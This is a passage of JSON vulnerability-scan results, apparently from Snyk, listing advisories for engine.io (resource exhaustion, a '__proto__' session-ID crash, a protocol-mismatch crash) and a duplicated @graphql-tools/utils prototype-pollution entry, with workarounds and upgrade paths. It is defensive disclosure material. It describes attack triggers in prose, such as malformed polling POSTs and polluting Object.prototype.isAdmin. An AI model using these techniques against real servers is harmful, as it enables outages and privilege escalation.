"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Improper Resource Shutdown or Release through the polling request handler in `Polling` transport processing. An attacker can consume server-side sockets and related HTTP resources by sending an invalid Engine.IO v4 polling `POST` request with `Content-Type: application/octet-stream` after establishing a polling session. The vulnerable code reports `invalid content` but leaves the HTTP response open, so repeated malformed requests can accumulate unfinished connections. This can prevent legitimate clients from connecting and exhaust available file descriptors or connection slots on the server.\r\n\r\n**Notes**\r\n\r\n- The vulnerable path is limited to Engine.IO protocol v4 polling `POST` requests that present `Content-Type: application/octet-stream`; other polling traffic is not in scope for this issue.\r\n\r\n**Workarounds**\r\n\r\n- Block or reject Engine.IO protocol v4 polling `POST` requests with `Content-Type: application/octet-stream` at a reverse proxy, load balancer, WAF, or application middleware to prevent the malformed request path that can leave HTTP connections open and consume sockets/resources.\r\n- Disable HTTP long-polling and use WebSocket-only transport if your deployment and clients support it to prevent exposure of the vulnerable polling handler.\r\n- Enforce strict request and connection timeouts at the HTTP server, reverse proxy, or load balancer to limit how long malformed polling requests can hold server-side connections open.\r\n- Apply per-IP rate limits and connection limits for Engine.IO endpoints to reduce the ability to repeat the crafted polling requests and exhaust server resources.\r\n- Restrict access to the Socket.IO/Engine.IO endpoint where feasible to limit who can reach the vulnerable polling transport.\n## Remediation\nUpgrade `engine.io` to version 6.6.7 or higher.\n## References\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671)\n- [Maintainer's Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-r635-g3xr-vw7x)\n",
"epssDetails": {
"percentile": "0.47751",
"probability": "0.00636",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59725"
],
"CWE": [
"CWE-404"
],
"GHSA": [
"GHSA-r635-g3xr-vw7x"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-07-09T09:06:24.990056Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:45:41Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:06:25.227210Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:06:07.562488Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"name": "engine.io",
"version": "6.6.4"
},
{
"id": "SNYK-JS-ENGINEIO-17900560",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"ni8walk3r"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.6.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/commit/1fa1f46cd420ac5b57bb4c04c959b58f3c79158c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.7",
"title": "GitHub Release"
},
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-gr94-w7qr-f4j3",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-11T07:52:20.469866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:06:08.017637Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:06:08.017637Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-11T07:52:20.469866Z"
}
],
"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Prototype Pollution through the WebTransport upgrade handling in `packages/engine.io/lib/server.ts`. An attacker can crash the server by sending a crafted unauthenticated WebTransport upgrade request with a session ID such as `__proto__`, which the lookup resolves through the `clients` object’s prototype chain instead of rejecting as invalid. When this path processes a non-own SID, it raises a `TypeError` during WebTransport handshake handling; in affected Node.js configurations, this can manifest as an unhandled Promise rejection, terminating the process. The result is a remote service outage affecting deployments with WebTransport enabled.\r\n\r\n**Notes**\r\n\r\n- WebTransport is opt-in in Engine.IO; deployments that only use the default polling/WebSocket transports are not exposed to this crash path.\r\n- The crash is triggered during the upgrade handshake by a session ID value carried in the WebTransport packet payload, so setups that front Engine.IO with a proxy or HTTP/3/WebTransport gate can avoid the vulnerable code path if that traffic never reaches the server.\r\n\r\n**Workarounds**\r\n\r\n- Disable WebTransport support by ensuring `webtransport` is not included in the enabled transports list; for example, configure `transports: [\"polling\", \"websocket\"]` to prevent the unauthenticated WebTransport upgrade DoS path.\r\n- If immediate upgrade is not possible, restrict access to WebTransport endpoints at the reverse proxy or HTTP/3 layer to limit who can send the malicious upgrade request.\r\n- Disable HTTP/3/WebTransport support until `engine.io@6.6.7` or later is deployed to block the vulnerable upgrade handling entirely.\r\n- Run the service under a supervisor as a partial availability mitigation so repeated crash attempts can be restarted, though this does not prevent the attack itself.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `engine.io` to version 6.6.7 or higher.\n## References\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/1fa1f46cd420ac5b57bb4c04c959b58f3c79158c)\n- [GitHub Release](https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.7)\n- [Maintainer's Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-gr94-w7qr-f4j3)\n",
"epssDetails": {
"percentile": "0.46458",
"probability": "0.00609",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59724"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-gr94-w7qr-f4j3"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-07-09T09:44:41.495932Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:47:11Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:41.672888Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:06:08.017637Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"name": "engine.io",
"version": "6.6.4"
},
{
"id": "SNYK-JS-ENGINEIO-20335255",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Thai Son Dinh"
],
"semver": {
"vulnerable": [
">=6.6.0 <6.6.10"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-2gc4-cqfq-p2gv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/socketio/socket.io/commit/86db1fc3db2cd315a065d64c4e48918ccf9b4729",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-14T07:13:17.802574Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-14T14:51:55.450479Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T14:51:55.450479Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T07:13:17.802574Z"
}
],
"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Uncaught Exception via the session upgrade handler in `server.ts`, where follow-up requests and transport upgrades do not validate that the Engine.IO protocol revision matches the one negotiated during the initial handshake. An attacker can send an upgrade request with a mismatched or missing `EIO` query parameter, causing a transport using a different parser and heartbeat mode to attach to an existing session, which disrupts the session and results in a crash.\n## Remediation\nUpgrade `engine.io` to version 6.6.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-2gc4-cqfq-p2gv)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/86db1fc3db2cd315a065d64c4e48918ccf9b4729)\n",
"epssDetails": {
"percentile": "0.46599",
"probability": "0.00583",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102599"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-2gc4-cqfq-p2gv"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-09-30T12:23:14.764954Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-29T23:44:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-30T12:23:14.953925Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-14T14:51:55.450479Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"name": "engine.io",
"version": "6.6.4"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
